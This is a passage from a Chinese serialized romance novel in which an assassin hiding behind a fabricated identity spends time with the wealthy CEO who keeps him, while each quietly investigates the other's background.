比如玩一下刺激的项目,体验一下没体验过的生活。 “你要是感兴趣,我可以给你投一部电影。”顾鸣鹤风轻云淡道。 时清徵:“咳咳——” 他刚喝了一口水,直接被呛去了。 有点狼狈。 感觉眼泪都要咳出来了。 “别激动。”顾鸣鹤站起身就想帮时清徵顺气。 时清徵抬手制止了他的动作。 “咳,先生,你还真是财大气粗。”时清徵发自内心地感慨。 如果换做他,他是不愿意给刚认识不到一个月的人投这么一笔钱的。 拍电影,你以为闹着玩吗? 先前时清徵投的那几部电影都是十几亿的高成本科幻片。 虽然说A国的电影形式导致投资方可能不会在上面花这么多,但最少几千万还是要的。 时清徵平时自认为不小气,但现在和顾鸣鹤对比一下,他觉得自己是铁公鸡。 自愧不如啊。 跟真大佬相比,他还是太贫穷了。 第26章 MOBA手游 “不用。”时清徵托着下巴看顾鸣鹤。 感觉他现在整个人都在发光,金光。 “真不用?”顾鸣鹤扬眉。 时清徵若有所思:“你可以直接把那笔钱给我。” 顾鸣鹤:....... “哪有让人倒贴钱上班的?” 那不是大冤种吗? 时清徵说着,自己都笑了。 对于他而言,电影这个行业他并不算特别了解,对演员更是不感兴趣。 但是从某种角度来说,他也算是半个演员。 当杀手嘛,首先就把操守什么的放一边。 他上一秒是人畜无害的服务生,下一秒就是专业的职场精英。 跨越山河,为你狗头而来。 顾鸣鹤和时清徵有一搭没一搭地聊着,话题不由自主地又回到了电影行业。 国外的电影基本都有完整的产业链,他们的目的是创造IP。 而国内就不一样了,靠票房吃饭。 所以国外对电影投资力度更大。 就像M国,投资方和放映院并不是同一家,所以电影会更加注重质量,创造高口碑的系列电影。 而A国院线被少数资本把控,其背后的利益纠葛一天一夜都说不清楚。 名利场罢了。 但是背后,懂得都懂。 就是一赚钱的行当。 时清徵唇角弯起一个了然的弧度,显然,这片江湖深浅,他也并非全然陌生。 “不过嘛”,时清徵话锋一转,身体微微前倾,那双清亮的眼睛倏地亮了起来,“先生您......知不知道点更深的内幕?听说......” 他刻意拖长了尾音。 要说哪里是瓜田的巅峰,秘闻的矿藏,那娱乐圈认了第二,别处连第三都排不上。 断层,遥遥领先。 顾鸣鹤眼中掠过一丝心照不宣的笑意。 他当然知道。 他兄弟圈子里就有人开着顶级的娱乐公司,那些光鲜帷幕后的第一手“故事”,他耳朵里灌了不少。 顾鸣鹤清了清嗓子,坐姿也显得几分随意,面上一本正经,嘴里讲出来的却全然是劲爆的八卦。 比如那位刚拿了影帝的‘深情老干部’,私下里玩得花。 投资方塞进来的人,前脚进组,后脚就闹得人仰马翻,全靠他那位金牌经纪人,砸钱加灭火,才摁下去....... 时清徵啧啧称奇,时不时还“哇”一声,给足了情绪价值。 某个金童玉女CP实际上私下没见什么面,全靠剪辑和通稿撑着...... 时清徵忍不住想笑,不仅仅是因为这些瓜,更因为顾鸣鹤讲这些八卦时的样子。 很有反差感。 “看来先生也很喜欢八卦啊。” 顾鸣鹤丝毫不遮掩:“这不是人之常情吗?” 八卦,是上天赋予人类的自由。 “没想到总裁也会八卦。”时清徵心中有了反差感。 顾鸣鹤哼笑一声:“因为总裁也是人。” “说的也是。” 午饭后,时清徵没离开,而是被脚步轻快的顾鸣鹤带着,一路跟进了他那间视野极佳的办公室。 顾鸣鹤回头瞥了他一眼,唇角勾起一个带着点玩味的弧度,理由信手拈来:“省趟油钱,也省个司机,待会儿一起回。” 这话说得冠冕堂皇,仿佛真是什么精打细算的持家之道,而非一时兴起想把人拘在身边。 时清徵闻言,眉眼弯弯,一副“您说得都对”的乖巧模样,心里怎么想的就不得而知了。 他一进办公室,目标明确地扑向那张宽大柔软的沙发,整个人毫无形象地陷了进去。 长腿一伸,腰肢软得仿佛没了骨头,姿势歪七扭八,透着股肆无忌惮的慵懒。 他举起手机,手指划拉得飞快,那手机仿佛下一秒就要砸向他那张漂亮得极具欺骗性的脸上了。 顾鸣鹤刚在宽大的办公桌后坐下,一抬眼就撞见这副景象。 他眉头几不可察地挑了一下,那双桃花眸中瞬间掠过一丝混合着嫌弃和无奈。 他身体微微后仰,靠在椅背上,指尖在桌面上轻轻一叩,发出清脆的声响。 “啧。” 顾鸣鹤开口,声音不高,尾音拖得有点长,像逗弄又像轻微的警告: “时清徵,你能不能坐好?” 他的视线在那截随着歪倒姿势露出的白皙柔韧的腰线上停留了一瞬,随即又落回那张没心没肺玩着手机的脸上。 时清徵连眼皮都没抬,仿佛没听见,又或者听见了也懒得理会。 他只是在沙发里更深地陷了陷,身体往里一扭,干脆利落地给了顾鸣鹤一个后脑勺。 几缕柔软的黑发蹭在沙发皮面上。 摆明了一副我不听你唠叨的模样。 顾鸣鹤看着那个倔强的后脑勺,非但没生气,反而无声地嗤笑了一下。 行啊,果然是胆子肥了,在他地盘上还敢甩脸子。 他手指在桌面上又敲了两下,节奏比刚才快了一点。 时清徵:........ 他在沙发里又磨磨蹭蹭赖了几秒,随后才慢悠悠坐起身。 只是坐姿也算不上板正,只能说从躺变成了歪。 他一只手肘撑在沙发扶手边上,歪着身子幽怨地瞪了顾鸣鹤一眼。 那眼神里真是写满了不爽。 如果有扇形统计图,那就是三分不屑,三分不爽,四分委屈。 那控诉的味儿都隔着一段距离弥漫到顾鸣鹤面前了。 让顾鸣鹤有种是自己做错的感觉。 “喏,坐好了。” 时清徵故意拖长了调子,带着敷衍的顺从。 然后刻意调整一下姿势,从“歪七”变成了“扭八”。 随后继续低头摆弄手机。 “早知道我就不来了。”时清徵小声嘀咕了一句。 带着一丢丢的抱怨和后悔。 但办公室这么安静,顾鸣鹤一字不落,听得很清楚。 见时清徵这样子,他很是愉悦地勾起唇,笑得恶劣。 “现在知道?晚了。” 时清徵给了他一个侧脸,看着窗外。 “既然飞到我这来了,那就老实待着。”顾鸣鹤的语气悠悠然,带着随意。 可话又显得那么霸道。 时清徵在这里也没什么顾忌,也可能是为了报复顾鸣鹤,游戏音效外放。 于是整个办公室回荡着豌豆打在僵尸身上的声音,僵尸咀嚼植物的声音。 顾鸣鹤就好像没听见一样,一直低头处理手中的工作,丝毫没有被影响到。 但他的余光总是不自觉瞥向时清徵那边。 看着那人长腿交叠,斜靠着坐,横着手机屏一副认真样儿。 只觉得有些可爱。 时清徵怎么可能没注意到顾鸣鹤的目光时常停在自己身上,不过他假装不知道。 这样的场景分外和谐。 敲门声响起,在游戏音效中有些突兀。 “进。” 顾鸣鹤抬眸看去,是李特助。 李特助第一时间捕捉到办公室那异常的氛围,但他的目光只是从时清徵身上划过一瞬,然后稳步走了进去。 “顾总,这是鼎峰那边传来最终版并购协议,法务部那边已经复核完毕,有几处条款还需要您签字确认。” 顾鸣鹤微微点头表示了解。 李特助继续道:“还有下午四点与视频会议,议程内容已经发到您的邮箱了。” 时清徵听着这边李特助跟报菜名一样,一个接着一个没完没了,不由摇头。 啧啧。 当总裁也不容易啊。 还是游戏好玩。 经过这几天的锤炼,时清徵的游戏水平已经炉火纯青。 他不满于基础游戏,继续去玩MOBA手游了。 此时他手机里已经有好几款游戏。 时清徵觉得他能在这半年里把应用商店里游戏玩个遍。 快哉~ 第27章 先生,你怎么偷亲我啊 时间在游戏音效和文件翻页声中溜走。 时清徵终于玩腻了手机,指尖一松,手机就被随意地丢在了身旁的沙发皮面上,发出轻微的闷响。 他懒洋洋地掀起眼皮,目光在偌大的办公室里逡巡了一圈,最后精准地定格在办公桌后。 那里,顾鸣鹤正襟危坐,面对着电脑屏幕。 他薄唇微抿,偶尔开口提出质疑。 光线勾勒着他的侧影,带着一种冰冷的,不容打扰的气场。 都说工作的男人最迷人,时清徵觉得是有几分道理的。 时清徵的眸子倏地亮了起来。 那光芒并非崇拜,而是像发现了什么新奇玩具,一丝狡黠的兴味从他眼中升起。 他原本瘫软的身体难得地动了动,手指无意识地抠了抠身下的沙发皮面。 他坐直身体,展现出点“正经”姿态来配合这场撩拨。 “嘶........” 动作刚做到一半,一股猝不及防的酸麻感猛地从后腰炸开,瞬间沿着脊椎爬升。 是之前歪在沙发里太久的报应。 时清徵身体一僵,眉头立刻蹙了起来,倒抽一口冷气,伸手扶住了自己那“造反”的腰。 越是舒服的姿势越有有害?身体啊,你跟你主人对着干呢?!! 这一个小插曲直接把时清徵临时燃起的兴趣灭了大半。 又换了个姿势扭倒在沙发上。 他扶腰抽气的动作虽然轻,但还是被一心二用的顾鸣鹤察觉到了。 顾鸣鹤那双看似全神贯注于会议的眼眸微微一动,眼尾的余光扫了过来。 看见时清徵的模样,笑意在他的眼尾漾开。 时清徵腰部的酸麻还在持续,生无可恋地仰望天花板。 一低头,就看到顾鸣鹤有些幸灾乐祸的表情。 时清徵磨了磨牙,表情作凶狠状,盯着顾鸣鹤。 他有预感,这人还会看他。 果不其然,几秒后—— 四目相对。 时清徵唇角缓缓勾起一个极其漂亮的浅笑,那双眼仿佛蕴着波光。 顾鸣鹤被这一勾扰乱了心神,呼吸都紊乱了。 于是紧抿了下唇,对时清徵投去了一个警告的眼神。 示意时清徵安分一些。 时清徵能听他的才有鬼了,歪了歪头,假装没看懂。 随后一个带电的的wink朝着顾鸣鹤投去。 撩拨,赤裸裸的撩拨,明目张胆的撩拨。 可顾鸣鹤此时又拿他没办法。 时清徵此时满脸写着关切。 会议很无聊吧?不如看看我? 顾鸣鹤的瞳孔微微收缩,精准地接收到了那个充满挑衅意味的wink。 一股说不清是恼火还是被这大胆行径取悦的,而且混杂着强烈占有欲的情绪猛地窜上心头。 他喉结几不可察地滚动了一下,下颌线绷得更紧了。 也不再去看时清徵了。 只是时清徵却发现那人耳尖红了一块。 瞬间乐开了。 意外之喜啊 视频会议的外放声音很是催眠,带着瞌睡虫钻进时清徵的耳朵里。 那些关于数据、并购、条款的英文讨论,对他来说比最乏味的白噪音还要催人入睡。 他忍不住打了个大大的呵欠,眼角沁出一点生理性的泪花。 在眼尾挂着,要落不落的。 午后的阳光透过落地窗,温度暖融融的恰到好处。 多重buff叠加在一起,让时清徵的眼皮越来越沉。 最终,他头一歪,在沙发里睡了过去。 姿势倒是比之前“歪七扭八”收敛了许多,侧躺着,面朝着顾鸣鹤办公桌的方向。 会议冗长,持续了一个多小时。 当顾鸣鹤终于结束最后一个议题,抬手揉了揉有些发胀的眉心,目光习惯性地扫向沙发。 那个刚才还朝他大胆wink,撩拨生事的人,此刻竟安静地睡着了。 那些光透过落地窗,柔和地铺在地上。 时清徵面朝着顾鸣鹤这边,呼吸均匀绵长。 少了清醒时那份慵懒劲儿和狡黠,此刻沉睡的时清徵,轮廓显得格外柔和温顺。 顾鸣鹤的目光在他脸上停留的时间比预想的要长。 他下意识地放轻了动作。 时间悄然滑向傍晚的下班点。 顾鸣鹤处理完最后一份邮件,合上电脑。办公室的光线已经有些暗了下来,夕阳分外的红。 他再次看向沙发,时清徵依旧沉睡着,姿势都没怎么变。 全然一副睡得不知天地为何物的模样。 顾鸣鹤站起身,他没有立刻叫醒对方,反而迈开步子,悄无声息地走到沙发前。 他屈起长腿,自然地蹲下身来,视线与沙发上熟睡的人齐平。 这个姿势,让他能清晰地看到时清徵的每一个细微的表情。 时清徵其实一直是浅眠。 从顾鸣鹤起身的轻微声响,到他靠近的脚步,再到那带着熟悉气息的阴影笼罩下来,他的意识已经逐渐清醒。 只是身体还贪恋着那份舒适,暂时不愿醒来。 就在这时,一个极其轻柔,带着点试探温度的吻落在了他的额头上。 那触感温软短暂,瞬间在他半梦半醒的意识里荡开涟漪。 时清徵的睫毛颤动了几下,缓缓睁开。 那双眼里还氤氲着未散的睡意。 他的视线聚焦在近在咫尺的顾鸣鹤脸上,看清了对方蹲在自己面前的姿势。 同时也捕捉到了对方眼底还未来得及完全收起的,那近乎温柔的专注。 他眨了眨眼,带着刚睡醒的懒倦开口: “先生.......您怎么偷亲我呀?” 他拖长了调子,眼中带着点促狭的笑意。 这声带着睡意的指控,显得那么理直气壮。 顾鸣鹤非但没有丝毫被抓包的窘迫,反而像是被这句“偷亲”点燃了某种更直接的兴趣。 他维持着蹲姿,身体微微前倾,两人之间的距离瞬间拉近到呼吸可闻。 紧接着,他手指挑住时清徵的下巴。 “偷亲?”顾鸣鹤的嗓音低沉下来,格外撩人。 他拇指指腹若有似无地摩挲着时清徵的肌肤,唇角勾起笑: “那我还可以,光明正大地亲。” 话音刚落,他手指微微用力,捏着人下巴,吻上了那早已染上笑意的唇。 这个吻带着些不知名的情愫,和以往的强势掠夺有所不同。 反而更像是撩拨。 也不知是不是故意的,顾鸣鹤的身子慢慢往后靠,惹得时清徵不得不把身子抬起来,去够他的唇。 愿者上钩。 等这个吻结束时,两人的姿势已经变了。 时清徵不知何时坐了起来,而顾鸣鹤也不再是半蹲,反而站了起来。 顾鸣鹤弯腰,一只手压在时清徵肩上,看他慢慢平复紊乱的呼吸,笑意不减。 “先生,这是叫醒服务吗?” 时清徵仰头看他。 顾鸣鹤低笑一声,没有否认,而是慢悠悠开口,带着些纵容:“你说是就是吧。” 他捏着人耳垂,揉着,直到那里变红。 手下的触觉柔软又温热。 最后带着些撩拨地补充:“既然下午睡够了,晚上是不是就不用睡了?” 随后,他很明显感觉到手下的耳垂又烫了几分。 第28章 点外卖 黑色的库里南平稳地驶入市中心一处别墅区。 两人没有返回城郊的半山庄园,夜色已深,路途不近,顾鸣鹤显然懒得再折腾。 车子停在一栋现代风格别墅的车库内。 顾鸣鹤率先下车。 时清徵扶着酸软的腰,慢吞吞地挪下车,动作间带着点不易察觉的僵硬。 别墅内部是现代极简风,线条利落,色调以黑白灰为主,巨大的落地窗外是城市的夜景。 时清徵身体的疲惫和某个隐秘部位的异样感,让他只想瘫着不动。 顾鸣鹤脱掉西装外套,只穿着白衬衫和西裤。 他身上还带着室外的微凉气息。 目光显得格外幽深,目光毫不避讳地扫过时清徵微敞的领口下那片暧昧的红痕。 “累了?” 顾鸣鹤的声音低沉。 时清徵掀起眼皮看他,那双眼里带着真实的倦意和一丝被扰了清净的不耐烦:“嗯?” 你在看不起谁? 顾鸣鹤似乎很满意他这副被“榨干”后蔫蔫的模样。 他低下头,温热的呼吸拂过时清徵敏感的耳廓和颈侧,带着点狎昵的意味。 就在时清徵以为他又要亲上来时,顾鸣鹤却忽然侧过头,用牙齿不轻不重地咬住了时清徵颈侧一小块肌肤。 那感觉又痒又麻,还带着点轻微的刺痛。 “嘶——” 时清徵猛地吸了口气,身体下意识地绷紧,抬手就去推顾鸣鹤埋在他颈窝的脑袋。 声音带着点猝不及防的惊恼:“别咬!” 颈侧的皮肤因为那一下叼咬,瞬间泛起一小片更明显的红痕。 顾鸣鹤非但没松口,反而像是被他的反应和那声带着颤音的“别咬”取悦了。 他用牙齿在那块皮肤上轻轻研磨了一下,感受到掌下身体的瞬间绷紧,才意犹未尽地松开了齿关。 但他并没有退开,反而用温热的唇舌安抚性地舔舐过那处齿痕,留下湿漉漉的触感。 “留下点记号。” 时清徵轻哼一声,手指摸上那被咬的颈侧,还是酥酥麻麻的痛感。 “我饿了。” 他试图试图转移顾鸣鹤的注意力。 顾鸣鹤因为这几日不住在这,今日来也是临时起意,所以保姆并不在。 顾鸣鹤点头:“好,你去做饭。” 一副餍足过后,当个甩手掌柜还有继续压榨劳动力的模样。 时清徵轻哼:“我不去,合同里没说当情人还要做饭。” 顾鸣鹤目光上上下下打量着时清徵,眼睛笑得眯起:“哦?那你说合同里写了什么?” 合同里写了什么?那当然是...... 时清徵一脸不可置信,指了指他,又指了指自己。 顾鸣鹤只是好整以暇地抱着手臂,带着逗弄的眼神看着时清徵。 时清徵都被他看得不自在了,感觉这人下一秒就要走过来。 “行行行,我去还不成?” 时清徵站起身,往前走去,顺便拉住了这人的衣角。 “你给我带路。” 怎么可能他一个人去呢,先把这人也坑去了再说。 时清徵手劲还挺大,险些拽了顾鸣鹤一个趔趄。 顾鸣鹤也没挣扎,顺着他的动作往厨房走去。 “反了,在左边。” 还好心提醒时清徵一句。 时清徵走进厨房,拉开冰箱,冷气倾泻而出。 然后,就没有然后了。 想象中琳琅满目的顶级食材并未出现。眼前所见,堪称“家徒四壁”的冰箱界典范。 除了几瓶矿泉水整齐地立在门架上,冷藏区的主空间里,只有几个柠檬,以及一小盒蓝莓,正可怜巴巴地躺在玻璃搁板上。 你说这冰箱是刚买的他都信。 这是和手机一样,恢复出厂模式了? 时清徵脸上的表情瞬间凝固了。 他维持着拉开冰箱门的姿势,足足有三秒钟没动。 然后,他极其缓慢地、带着一种难以置信的僵硬,扭过头,看向那个正优雅倚靠着岛台的顾鸣鹤。 他的眼神里充满了拷问:你吃空气呢? 顾鸣鹤接收到了他“炙热”的目光。 他顺着时清徵的视线,也瞥了一眼那个比他脸还干净的冰箱内部。 顾鸣鹤的眼里先是掠过一丝极其短暂的,货真价实的茫然。 他似乎真的在思考为什么。 但这份茫然只持续了不到一秒,就被一种更加事不关己的随意取代。 他非常自然地,甚至带着点无辜地耸了耸肩,配上他那张俊美张扬的脸,显得格外理直气壮。 “我怎么知道?” 顾鸣鹤的声音带着点理所当然的疑惑。 “保姆又不在。大概.......上次吃完了没补?” 他尾音微微上扬,还带着点反问的语气,眼神坦荡。 时清徵:“.......” 他感觉一股气堵在胸口,上不去下不来。 他看看空空如也的冰箱,再看看那个一脸“与我无关”,甚至还有点“不用做饭了”的顾鸣鹤,只觉得太阳穴突突直跳。 时清徵“啪”地一声,带着点泄愤的力道,重重关上了冰箱门。 他转过身,双手抱臂,也学着顾鸣鹤的样子靠在岛台边。 他挑眉看向顾鸣鹤,唇角勾起一个皮笑肉不笑的弧度,声音拖得又慢又清晰: “顾先生,巧妇难为无米之炊啊。” 顾鸣鹤叹了口气,眼神无辜:“那怎么办啊,不如让保姆现在来一趟?” 时清徵一字一句:“那先生自己等着吧,我点外卖。” 说着就扭头走出去了。 顾鸣鹤看着他的背影笑了一下,抬脚准备追出去,然后想到什么,又回过头。 打开冰箱,拿出那一盒蓝莓,也走了出去。 时清徵在外卖平台上挑了起来,花花绿绿的界面。 顾鸣鹤拿着蓝莓走了过来,往人身边一坐,脑袋也凑了过去。 他靠得近,下巴几乎要搁在时清徵肩膀上了。 时清徵很快下单,支付。 现在只要等外卖送来就行了。 时清徵把手机往旁边一放,松了一口气。 结果没过几秒就听见身边的人悠悠然道: “其实我可以打电话,让御膳坊做好送过来。” 他顿了顿,好像是为了增加可信度,继续补充道:“一家味道很不错的私房菜主厨,以前是国宴班的。” 说话时,他还懒洋洋的靠在时清徵身上,一副看我多贴心的模样。 时清徵嘴角挂起危险的弧度,缓慢地扭过头。 四目相对。 顾鸣鹤还好整以暇地眨了眨眼。 “哼。”时清徵站起身。 “真是多谢顾先生提醒了,你自己吃吧,我不需要。” 最后几个字简直是从牙缝里挤出来的。 时清徵居高临下地看着顾鸣鹤,咬了咬牙。 这人还真是恶劣。 “真不用吗?”顾鸣鹤姿态随意,往后一靠。 “不,用。” 时清徵头也不回地往楼上走去,背影里写着“不想理你”。 一副被惹恼的样子。 顾鸣鹤嘴角恶劣张扬的笑就没下来过。 走到一半,时清徵忽然停下,回过头,泰然自若地问:“卧室在哪?” 顾鸣鹤险些笑出了声:“二楼,左边尽头那间。” 时清徵:“....... ” 他往二楼走去,暗地翻了个白眼。 顾鸣鹤继续开口:“等会记得下来。” 回应他的只有脚步声。 第29章 身份档案 时清徵“砰”地一声关上了二楼卧室的门,将那声楼下那令人火大的愉悦低笑隔绝在外。 客厅里重新恢复了安静,顾鸣鹤依旧懒洋洋地陷在沙发里,手边放着从冰箱里拿出来的那一盒蓝莓。 他唇角还留着刚才戏弄时清徵成功后扬起的弧度。 就在这时,他随意搁在沙发扶手上的手机屏幕亮起,一条信息弹出。 【时尚美妆:恭喜您.......】 垃圾广告。 顾鸣鹤捞起手机,点开,输入密码。 【时清徵档案已传输完毕。】 顾鸣鹤眼中那点慵懒的笑意瞬间收敛了几分。 他长腿交叠,姿态依旧放松,却多了一份无形的气场。 单手拿着手机,熟练地输入密钥,点开那份标记为加密的文件。 另一只手则漫不经心地将一颗蓝莓送入口中,酸甜的汁液在舌尖炸开。 酸甜的气息和屏幕上即将展开的沉重过往形成了奇异的反差。 第七局的能力毋庸置疑,这份档案的详尽程度远超他之前动用私人渠道获取的信息。 文档清晰罗列了时清徵十九年的人生轨迹。 十三岁之前资料并不是很清楚,资料上只有寥寥几页。 不过出生于那片法外之地,混乱本来就是底色。 里面是几张模糊不清,像素极低的街景照片,几个地名,便是那段岁月的全部注脚。 顾鸣鹤理解,在那种地方,能留下清晰记录本身就是奢望。 然而,十三岁之后,资料变得清楚,甚至附上了几张高清照片。 有课堂上的少年,有他与友人的合影........ 顾鸣鹤的目光在那几张照片上停留了许久。 照片上的少年,眉眼间已能清晰辨认出如今时清徵的影子,只是多了几分未经世事的青涩。 他指尖点了点手机侧边,轻叹道: “啧,还是真人好看。” 语气里带着点自己都未察觉的莫名惋惜。 他又捏了一颗蓝莓放嘴里,只是这次蓝莓的味道似乎变得有些寡淡。 他滑动屏幕,继续向下翻阅文字资料。 越往下看,顾鸣鹤周身那股慵懒随意的气息便消散得越快,取而代之的是一种沉甸甸的凝重。 档案冰冷地陈述着。 时清徵的母亲来自A国南部一个小城的书香门第,在混乱中被掳至东南群岛。 资料里有她的照片,很温婉的一个女子。 她在异乡生下两个孩子,没几年便香消玉殒,死因成谜。 他还有个姐姐,死因不明,推测是当地势力冲突波及,或者卷入非法人口,器官交易....... 资料没有描绘细节,但那些地名和背景足以让人想象那炼狱般的童年。 十三岁那年,一个常年做善事的好心人出现,将他带离了那片泥沼。 并且资助他在相对稳定的东南群岛某区域接受教育。 不过那个资助者因为伤病,前年就去世了。 得益于母亲的A国国籍,时清徵在十三岁时办理了归国手续,拥有了A国身份。 这是他人生中唯一一次踏足A国土地。 第二次就是他见到顾鸣鹤的那次。 顾鸣鹤的指尖滑动得越来越慢,一点阴郁的暗色笼罩了他的眉宇。 那惯常张扬的眉眼间,罕见地漫上了一层痛惜和不忍。 这份档案,逻辑严密,时间线清晰,证据链完整,将时清徵的过往摊开在顾鸣鹤面前。 档案没有问题。 第七局的调查,几乎无懈可击。 顾鸣鹤缓缓将手机屏幕按灭。 他身体重重地靠回沙发背,头微微后仰,抬起手臂,手背随意地覆在了自己的额头上,挡住了那双此刻情绪翻涌的眼眸。 寂静在客厅里蔓延。 良久,一声低沉的呢喃从他覆着额的手臂下逸出,带着一种难以言喻的复杂情绪: “东南群岛........” “时清徵.......” 他默念着,一个混乱之地,一个从混乱中走出来的青年。 他有些庆幸,幸好时清徵在十三岁时遇到了那个好心人。 至少他十三岁以后是自由快乐的。 时清徵背靠着门板,深吸了几口气,平复被顾鸣鹤戏弄后翻腾的些许恼意。 他走到窗边,拉开厚重的遮光帘,让远处的霓虹流泻进来。 就在这时,他的手机极其轻微地震动起来。 时清徵点开,屏幕中亮起一个加密标识。 时清徵走进浴室,打开水龙头。 水哗啦啦流着。 “说。” 他的声音压得很低,带着模糊感,与平日里或慵懒或清亮的声线截然不同。 电话那头传来一个经过变声处理的、毫无起伏的电子音: 【你的公开身份档案被调阅,调阅方的权限加密,推测为“深网”级情报掮客或国家级关联机构。 档案本身已触发反追踪混淆程序,无有效溯源。】 时清徵静静地听着。 听到“深网级,国家级”的推测时,他眉梢几不可察地挑了一下,但很快恢复了平静。 “我知道了。” 他的回应简洁而沉稳,听不出丝毫波澜。 “不用管。” 那份假档案,是他和FK集团情报组精心编织多年的结果,哪怕是这种程度的探查也可以应对。 【确认。】对方补充道。 “嗯,没问题。” 时清徵的声音依旧平稳。 “保持监测,非紧急情况按静默流程处理。” 随后他果断结束了通话。 浴室里只剩下哗哗的水流声。 时清徵关掉水龙头,双手撑在洗手台边缘,微微俯身,盯着镜子里的那张脸。 有人在查他。查的是“时清徵”这个A国身份。 这个身份,是他行走在阳光下的完美伪装,也是FK集团为他精心打造的“合法”外壳。谁会对他这个普通人感兴趣? 对“时清徵”这个身份感兴趣的,只可能来自A国境内。 境外势力不会绕这么大弯子去查一个明面上的A国公民。 几个名字和关联势力迅速在他脑中闪过。 最终,一个名字浮现。 顾鸣鹤。 是他。最有可能,也最符合逻辑。 顾鸣鹤有动机。 能驱动“深网级”甚至疑似国家级关联机构进行深度档案调阅,这绝非普通富豪的手笔。 如果放在顾家这种顶尖豪门上来看,倒是有可能。 不过顾鸣鹤的情报网已经远超时清徵之前的预估。 时清徵的眼神在镜中变得幽深。 虽然那份档案是假的,但顾鸣鹤能查到它,并且动用如此高级别的权限和手段去查,本身就传递了一个极其重要的信号:顾鸣鹤并不简单。 至少他对自己有所防范。 一个商人,会这么谨慎吗? 顾家的水很深啊。 他关掉水龙头,哗哗声戛然而止,浴室陷入一片突兀的寂静。 镜中的影像清晰,那张脸也迅速收敛了锐利,重新覆上一层恰到好处的浅笑。 毫无攻击力。 时清徵扯过毛巾擦了擦脸,再抬眼时,镜中已人是一副困倦懒散的模样。 他推开浴室门,走了出去。 第30章 晚餐 时清徵的脚步楼梯上,发出轻微的声响。 他刚转过楼梯拐角,食物香气便如实质般涌来。 视线下移,餐厅的景象映入眼帘。 御膳坊的工作人员正动作利落地将几个保温箱撤向门口。 而那张餐桌上,已然摆满了珍馐。 每一道菜都像艺术品,在暖黄灯光下散发着诱人的光泽与热气。 空气都要被香气浸染得稠密了。 而在这片珍馐世界的边缘角落,是一个被压得有些变形的外卖袋,局促地缩在桌角。 与满桌的流光溢彩相比,它显得如此格格不入。 “顾总,都按您吩咐安排好了,请慢用。” 为首的工作人员对着顾鸣鹤的方向恭敬道。 得到顾鸣鹤一个颔首后,几人迅速而安静地退了出去。 门合拢,隔绝了外界。 客厅里,顾鸣鹤和时清徵两个人。 顾鸣鹤姿态闲适地靠坐在主位,手边放着一盒蓝莓,正是刚才吃剩下的那半盒。 然后,他抬眸,目光落在楼梯口的时清徵身上。 “过来啊。” 他开口,声音不高,带着点惯常的慵懒磁性,尾音很轻。 像是要把时清徵勾过来似的。 时清徵的神色平静无波。 然而,就在这声“过来啊”响起的瞬间,他脑中闪过不久前的电话。 一丝难以名状的烦躁冒了出来。 查得那么深,现在又摆出这副若无其事的样子。 但时清徵没有表露半分,只是依言迈步走向餐桌。 然而,就在即将靠近顾鸣鹤所在的主位时,他的脚步向旁边一拐,在顾鸣鹤左手边隔了一个空位的位置坐了下来。 顾鸣鹤的指尖顿了一下,睫毛垂下,遮住了瞬间掠过的眸光。 但他什么也没说,仿佛对时清徵的座位选择毫不在意,只是将视线平静地移开。 时清徵的目光掠过满桌的珍馐,没有一丝停留,径直落在了那个角落的外卖袋上。 他身体微微前倾,手臂伸过去,将那个纸袋拎到了自己面前。 塑料摩擦的声音在过分安静的餐厅里显得格外清晰。 他拆开袋子,拿出里面的餐盒。 商家面汤分离的包装让面条不至于完全泡烂。 时清徵拿起一次性筷子,掰开,发出“啪”的一声轻响。 他低垂着眼,目光似乎落在浑浊的汤面上,但思绪却早已飘远。 他不介意被人查,不过这种感觉确实不怎么好。 尤其是查的还这么彻底。 时清徵吸溜着自己碗里的面条。 他是真饿了,吃的很快,风卷残云。 顾鸣鹤想开口都没有找到机会,就那么看着时清徵把最后一口汤也喝完。 用擦了擦嘴角,对着顾鸣鹤摆摆手:“拜拜先生,上面等你。” 顾鸣鹤看了看表。 三分钟。 他好不容易酝酿好的情绪,还没来得及发挥。 于是他放下筷子,问道:“你吃饱了。” 时清徵咂吧了一下嘴:“差不多七分饱。” “陪我坐会。” 他的手指在自己旁边的位置上敲了一下。 时清徵:金主都发话了,那他就再坐会呗。 时清徵依言坐回了顾鸣鹤身边的位置。 他目光扫过桌面,落在顾鸣鹤手边那盒蓝莓上。 指尖随意地探过去,捏起几颗,丢进嘴里。 他索性支起手肘,将下巴搁在掌心,就这么毫不避讳地看着正慢条斯理用餐的男人。 这人是真的一点都不急。 时清徵的目光不由自主地胶着在顾鸣鹤的脸上。 这张脸,天生就带着不容忽视的张扬。 是一种精雕细琢,锋芒毕露的俊美。 最惹眼的是那双眼睛,典型的桃花眼,眼型饱满,眼尾微微上挑,勾勒出风流的弧线。 此刻,那睫毛半垂着,敛去了眸中大部分情绪。 而他的唇角,天生就带着一丝若有似无的微勾。 那不是温和的笑意,更带着些锐利和深意。 此刻,随着他细嚼慢咽的动作,那唇角似乎更清晰地上扬了几分,形成一个极淡的笑痕。 整张脸都生动起来,带着一种难以言喻的吸引力。 可时清徵此时却看出来另一层意味,一丝令人捉摸不透的危险感。 时清徵看着那微勾的唇角,心里莫名地“啧”了一声。 顾鸣鹤在他面前不怎么摆架子,让他都快忘了顾家太子爷又怎么会是一个简单角色呢。 哦,现在不是太子爷了。 人家都登基了。 只是上面还有个“太上皇”压着啊。 时清徵想起顾家那复杂的关系,不由轻笑了下。 顾鸣鹤注意到他笑,却不知道他在笑什么。 时清徵不一样。 他不像是从东南群岛那种混乱地带走出来的。 他长得好看,听话乖巧,有时有些小脾气,很招人喜欢。 如果他出生在A国,现在应该还在念大学。 这样的男生应该很受欢迎。 顾鸣鹤想起初遇那天—— 鬼使神差,不知怎的就把人带回家了。 现在顾鸣鹤还有些庆幸,如果自己不把他带回来,时清徵应该很难在京城生活下去。 他没有学历,顶多是进娱乐圈,而那个地方乱的很。 自己当初还怀疑他可能是二叔派来的。 一个刚成年的男生,心思都藏不住,怎么可能。 时清徵不可能想到短短几分钟,顾鸣鹤就想了这么多。 要是他知道,一定会竖一个大拇指,真心夸赞道:内心戏丰富啊,他的美弱惨的人设这不就立住了? 时清徵看着顾鸣鹤,觉得有个成语很对:秀色可餐。 当初他也是鬼迷心窍了,惹了这一尊大佛。 想着,时清徵又忍不住叹了口气。 险些被这家伙把老底给掀出来了。 顾鸣鹤看旁边这人一副心事重重的模样,把心情都写脸上了。 不由暗笑:还是藏不住事。 若是看外表,真不能把他将那混乱地带联系起来。 毕竟人们对那里的客观印象就是如此。 “怎么一副这个表情?” 